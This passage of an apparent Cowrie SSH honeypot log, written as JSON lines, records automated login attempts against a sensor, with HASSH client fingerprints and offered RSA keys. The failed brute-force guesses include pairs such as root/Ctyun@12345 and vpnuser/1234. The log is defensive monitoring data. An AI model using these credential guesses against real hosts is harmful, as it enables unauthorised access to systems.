16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:25:28.758936Z","src_ip":"103.176.20.57","session":"6c0b6e0ee8ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aniram","message":"login attempt [root/aniram] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:25:29.519103Z","src_ip":"103.176.20.57","session":"6c0b6e0ee8ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:25:30.775610Z","src_ip":"103.176.20.57","session":"6c0b6e0ee8ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":53200,"dst_ip":"159.203.135.109","dst_port":22,"session":"93db06c64784","protocol":"ssh","message":"New connection: 103.13.206.227:53200 (159.203.135.109:22) [session: 93db06c64784]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:26:14.389804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:26:14.394870Z","src_ip":"103.13.206.227","session":"93db06c64784","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:26:14.633288Z","src_ip":"103.13.206.227","session":"93db06c64784","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnuser","password":"1234","message":"login attempt [vpnuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:26:15.615682Z","src_ip":"103.13.206.227","session":"93db06c64784","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:26:16.857490Z","src_ip":"103.13.206.227","session":"93db06c64784","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.82","src_port":52926,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfe5a6e18c64","protocol":"ssh","message":"New connection: 171.25.158.82:52926 (159.203.135.109:22) [session: cfe5a6e18c64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:26:30.536317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:26:30.541579Z","src_ip":"171.25.158.82","session":"cfe5a6e18c64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:26:30.720461Z","src_ip":"171.25.158.82","session":"cfe5a6e18c64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ctyun@12345","message":"login attempt [root/Ctyun@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:26:31.447677Z","src_ip":"171.25.158.82","session":"cfe5a6e18c64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:26:32.607254Z","src_ip":"171.25.158.82","session":"cfe5a6e18c64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.223.67.133","src_port":59538,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa0fccb2819d","protocol":"ssh","message":"New connection: 5.223.67.133:59538 (10.17.0.5:22) [session: fa0fccb2819d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:03.141073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:03.145879Z","src_ip":"5.223.67.133","session":"fa0fccb2819d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:03.392766Z","src_ip":"5.223.67.133","session":"fa0fccb2819d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:91:07:97:fc:68:ac:fc:55:83:ea:56:50:4e:9a:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUJJ7HdU8sTp4af0GjR451WwLb5dTqy1ykEU5CQxUlgfjyFNhefHLG09ytdcsvWLxRdODB9/iOTOMSDO48QVJhl38gG2wZTF6YRF9xwcibsruuCR8DMk7iUyk66tY61wQIOMmG1RUxuwsjeHy23/dirsY4NtHmLB7vVT5Y/8Xvdq7VQQfo48P1p9Klc3h93oPcYk5UgWy6u7ephWYex4xqma7HqGaDwQJKV/tFWanFpg8S7tePkAhYHkhtccsNH4VZg4Ub8ZhuudrTN2rD+kHuo+LgRnDdJrpB6kukW2DLHRn0af/iVX1YAip6Go0X5AYB5YuSfDt8CmnTR9bPY9Ap","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:91:07:97:fc:68:ac:fc:55:83:ea:56:50:4e:9a:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:04.603054Z","src_ip":"5.223.67.133","session":"fa0fccb2819d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:91:07:97:fc:68:ac:fc:55:83:ea:56:50:4e:9a:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUJJ7HdU8sTp4af0GjR451WwLb5dTqy1ykEU5CQxUlgfjyFNhefHLG09ytdcsvWLxRdODB9/iOTOMSDO48QVJhl38gG2wZTF6YRF9xwcibsruuCR8DMk7iUyk66tY61wQIOMmG1RUxuwsjeHy23/dirsY4NtHmLB7vVT5Y/8Xvdq7VQQfo48P1p9Klc3h93oPcYk5UgWy6u7ephWYex4xqma7HqGaDwQJKV/tFWanFpg8S7tePkAhYHkhtccsNH4VZg4Ub8ZhuudrTN2rD+kHuo+LgRnDdJrpB6kukW2DLHRn0af/iVX1YAip6Go0X5AYB5YuSfDt8CmnTR9bPY9Ap","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:04.606843Z","src_ip":"5.223.67.133","session":"fa0fccb2819d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:f0:bb:4e:11:3f:0d:e5:99:97:d8:fe:e7:5b:f6:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDuCBR5HyPp7IFTC65Ls49gRdY13AekOPdDQRz8rNXtuYD0eZpXQROQpbt8d4wvPXdo7w/AWiHFmeekSSliID6G+uYpdc1jLhFKK3HzyC8QIcDDjPvIJYBnsSnJMkUWP8WCAhFCJqd3S13oPF87sTE+55DpfTNJRdeQMmMer7SfGst/J7vRGx8VQJBd2QJR7WpgqZPR76uRROOM30KD3I2/geAxglS8pRNuhupcSnq6+vddOV+0ACmBNZQUawMauistJ6Aglo1WmPKLWJrW+6W4uGrTnpaR12WygIxA3S1YmM620mcn2TPnz2IaXeD9cJhjrKfYfiSPTzu9AHSpZwQQtlPUWgNp2Vz4x6KeruDlHqvXslHPG93M7uHaMOg3U7oHU/neVDnVZ8PktH5uDXW/jn0WiC3ygy8kdgTgdKpD85BQYnOCDiiLssJXlrBUF4uqm49xbBvjBtoT23rgx6sNNdgq+adcot9KfpFqYnYCEAbvD6HA0N+gYgfhorO5Jdk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:f0:bb:4e:11:3f:0d:e5:99:97:d8:fe:e7:5b:f6:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:04.854027Z","src_ip":"5.223.67.133","session":"fa0fccb2819d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:f0:bb:4e:11:3f:0d:e5:99:97:d8:fe:e7:5b:f6:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDuCBR5HyPp7IFTC65Ls49gRdY13AekOPdDQRz8rNXtuYD0eZpXQROQpbt8d4wvPXdo7w/AWiHFmeekSSliID6G+uYpdc1jLhFKK3HzyC8QIcDDjPvIJYBnsSnJMkUWP8WCAhFCJqd3S13oPF87sTE+55DpfTNJRdeQMmMer7SfGst/J7vRGx8VQJBd2QJR7WpgqZPR76uRROOM30KD3I2/geAxglS8pRNuhupcSnq6+vddOV+0ACmBNZQUawMauistJ6Aglo1WmPKLWJrW+6W4uGrTnpaR12WygIxA3S1YmM620mcn2TPnz2IaXeD9cJhjrKfYfiSPTzu9AHSpZwQQtlPUWgNp2Vz4x6KeruDlHqvXslHPG93M7uHaMOg3U7oHU/neVDnVZ8PktH5uDXW/jn0WiC3ygy8kdgTgdKpD85BQYnOCDiiLssJXlrBUF4uqm49xbBvjBtoT23rgx6sNNdgq+adcot9KfpFqYnYCEAbvD6HA0N+gYgfhorO5Jdk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:04.858568Z","src_ip":"5.223.67.133","session":"fa0fccb2819d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:9c:f7:ac:c9:49:ca:86:fa:32:d1:e1:fb:b4:c5:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZZCrtaHxSI8C3lP4EcxGL1sHjvHdPsM+ZP+2jx+k7NLuZoAQRVfjT6IjmNyxX+4CC4rNfCX/DMnvc/RX4YBz8lV+WxKbcEqLY4NSCXlo0Dgjat++Dnb93sD6trNXe466y0Jv46cnk2IwzU4al2T9U6Ve8JTilS6PZ31xRvnAOM6DWfCQ4wpN2nJMkQzmoInybgzK4lF3GojOn8n4sPQbijO9uhnqw8Ghn0wF7xTMI0ks3O/e4Dye6Y4FLzK5eg9joWUEQvyME5s+HEvgcjx8K226cEsxtRzBOwkKwVJcmGsheuk6L1WuEUA3/CTVZORSwrLNo2oi7zjIwoLmQNIYwTDHszQ4f560qxYz49Sz+z5NfmcrW0lTlCoW3dUBwPJ+XMrrCFHJuWcGjX9gWHklQ1sEQqbFnyCz5ocWF2TwJAf2woyeb3tua9fIYQxCwa/0tKor+IFeyQblbOZ+c4YYT70QWRLNbzwn/mR6rRhMsQMkvvT49z2WmQURQma7UrgU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:9c:f7:ac:c9:49:ca:86:fa:32:d1:e1:fb:b4:c5:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:05.106170Z","src_ip":"5.223.67.133","session":"fa0fccb2819d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:9c:f7:ac:c9:49:ca:86:fa:32:d1:e1:fb:b4:c5:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCZZCrtaHxSI8C3lP4EcxGL1sHjvHdPsM+ZP+2jx+k7NLuZoAQRVfjT6IjmNyxX+4CC4rNfCX/DMnvc/RX4YBz8lV+WxKbcEqLY4NSCXlo0Dgjat++Dnb93sD6trNXe466y0Jv46cnk2IwzU4al2T9U6Ve8JTilS6PZ31xRvnAOM6DWfCQ4wpN2nJMkQzmoInybgzK4lF3GojOn8n4sPQbijO9uhnqw8Ghn0wF7xTMI0ks3O/e4Dye6Y4FLzK5eg9joWUEQvyME5s+HEvgcjx8K226cEsxtRzBOwkKwVJcmGsheuk6L1WuEUA3/CTVZORSwrLNo2oi7zjIwoLmQNIYwTDHszQ4f560qxYz49Sz+z5NfmcrW0lTlCoW3dUBwPJ+XMrrCFHJuWcGjX9gWHklQ1sEQqbFnyCz5ocWF2TwJAf2woyeb3tua9fIYQxCwa/0tKor+IFeyQblbOZ+c4YYT70QWRLNbzwn/mR6rRhMsQMkvvT49z2WmQURQma7UrgU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:05.110739Z","src_ip":"5.223.67.133","session":"fa0fccb2819d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:3b:93:46:8c:6e:31:c9:c8:de:57:1b:5f:53:64:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRFNH+UlRSxh8fhP2CbA2J7T7vZWrVEjp5HNuhCMu+ku/xWXAtFBJj42UduXYQnwCdE3q8KClZ7sDSU8jQM3Lq4/YHgp3q0C1HmFKCcOx9NlxLiqQdxZMI0t1sNiS8ghMld0/OxLxncdtTDagCwtFUNUE4ajlRGzHEVflSTQU2GwvnsTAriEzoqo4rEs/kLeFcinYLNQNZ2XDYah8KhLZWu/pNxvBMP9FTYxnv9Sz5Tbexa7uO2wAh+zyNvrqXjZNWuB1MI5vO1phBemMc0ILQYD0fsuI/fZ8aUX7ahGZGBUHjICysXMUh5KPoGvicmFP0BpItcxM1vAoRDbueweDv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:3b:93:46:8c:6e:31:c9:c8:de:57:1b:5f:53:64:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:05.364494Z","src_ip":"5.223.67.133","session":"fa0fccb2819d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:3b:93:46:8c:6e:31:c9:c8:de:57:1b:5f:53:64:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRFNH+UlRSxh8fhP2CbA2J7T7vZWrVEjp5HNuhCMu+ku/xWXAtFBJj42UduXYQnwCdE3q8KClZ7sDSU8jQM3Lq4/YHgp3q0C1HmFKCcOx9NlxLiqQdxZMI0t1sNiS8ghMld0/OxLxncdtTDagCwtFUNUE4ajlRGzHEVflSTQU2GwvnsTAriEzoqo4rEs/kLeFcinYLNQNZ2XDYah8KhLZWu/pNxvBMP9FTYxnv9Sz5Tbexa7uO2wAh+zyNvrqXjZNWuB1MI5vO1phBemMc0ILQYD0fsuI/fZ8aUX7ahGZGBUHjICysXMUh5KPoGvicmFP0BpItcxM1vAoRDbueweDv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:05.369677Z","src_ip":"5.223.67.133","session":"fa0fccb2819d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:5d:91:66:86:39:93:ce:d1:2d:ef:cb:8f:a1:e7:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD292Usy7TDoyJr7jmnOcVTBeYOZbspAwUCL/sfBXzsV95Y5dV8oDbhpDfGFPsKUULEdVl6pkdwqjmq5tpmhEviWMykT+oECD5SxhwGEMrZql2FxA9faj341kW5/YEsW5KXcFBTEg4zJFcz7vDOb1auadbMdj2P4vUAVS1+4xJ9+0ej20D6M4nE2nB5WhKKCKk9wCFMjCAg+bdrxnd7rm262uPj338HYauQIr2iHQdNqBwh6zxkcLxWo5B8mDxkjFt3fJKHefU63jjAHLWwOiBytoEhb7ZgzMDONZqm+YRrzNq4GjTpz6rOTzX131wqIuTmEqE9N5AEwSMCHIWRS1kZ+8BnfwTKJN5t4gN80qRkNO4l8UTuvFfxfU9CUIiDqcn1VktoFBRSnZNFKh4E46YBSS57DVUORLqtcQEbtQt6h7rJPXRbtLCUMHzTuayYLaMesXFn1/iQJnX6u6iSbT0BsPgWzUuuTGvpS5UrGk6LWkrQWMOaIPtqlSk9hFkCjFO4RWm4msiqfoYhb7R8IIeTUqSda824QR5jeZWxAUZ0MmoAYUxgRHwMja8S8PfFwrqvMkiw60q+TWDUKIZaXCy0YB13waQNmi8rik4efOD0PuQZytnCzQgO/57Yt+DOgb+BXHwXh+MZyVNboD/aBfzItIDKIMbraKgiK4FUnFp6tw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:5d:91:66:86:39:93:ce:d1:2d:ef:cb:8f:a1:e7:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:05.629702Z","src_ip":"5.223.67.133","session":"fa0fccb2819d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:5d:91:66:86:39:93:ce:d1:2d:ef:cb:8f:a1:e7:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD292Usy7TDoyJr7jmnOcVTBeYOZbspAwUCL/sfBXzsV95Y5dV8oDbhpDfGFPsKUULEdVl6pkdwqjmq5tpmhEviWMykT+oECD5SxhwGEMrZql2FxA9faj341kW5/YEsW5KXcFBTEg4zJFcz7vDOb1auadbMdj2P4vUAVS1+4xJ9+0ej20D6M4nE2nB5WhKKCKk9wCFMjCAg+bdrxnd7rm262uPj338HYauQIr2iHQdNqBwh6zxkcLxWo5B8mDxkjFt3fJKHefU63jjAHLWwOiBytoEhb7ZgzMDONZqm+YRrzNq4GjTpz6rOTzX131wqIuTmEqE9N5AEwSMCHIWRS1kZ+8BnfwTKJN5t4gN80qRkNO4l8UTuvFfxfU9CUIiDqcn1VktoFBRSnZNFKh4E46YBSS57DVUORLqtcQEbtQt6h7rJPXRbtLCUMHzTuayYLaMesXFn1/iQJnX6u6iSbT0BsPgWzUuuTGvpS5UrGk6LWkrQWMOaIPtqlSk9hFkCjFO4RWm4msiqfoYhb7R8IIeTUqSda824QR5jeZWxAUZ0MmoAYUxgRHwMja8S8PfFwrqvMkiw60q+TWDUKIZaXCy0YB13waQNmi8rik4efOD0PuQZytnCzQgO/57Yt+DOgb+BXHwXh+MZyVNboD/aBfzItIDKIMbraKgiK4FUnFp6tw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:05.634308Z","src_ip":"5.223.67.133","session":"fa0fccb2819d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:05.883199Z","src_ip":"5.223.67.133","session":"fa0fccb2819d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":50214,"dst_ip":"159.203.135.109","dst_port":22,"session":"0970a2edcaa1","protocol":"ssh","message":"New connection: 109.237.96.109:50214 (159.203.135.109:22) [session: 0970a2edcaa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:52.050765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:52.056885Z","src_ip":"109.237.96.109","session":"0970a2edcaa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:52.149730Z","src_ip":"109.237.96.109","session":"0970a2edcaa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kakashi","message":"login attempt [root/kakashi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:52.431800Z","src_ip":"109.237.96.109","session":"0970a2edcaa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:27:53.527698Z","src_ip":"109.237.96.109","session":"0970a2edcaa1","protocol":"ssh"}
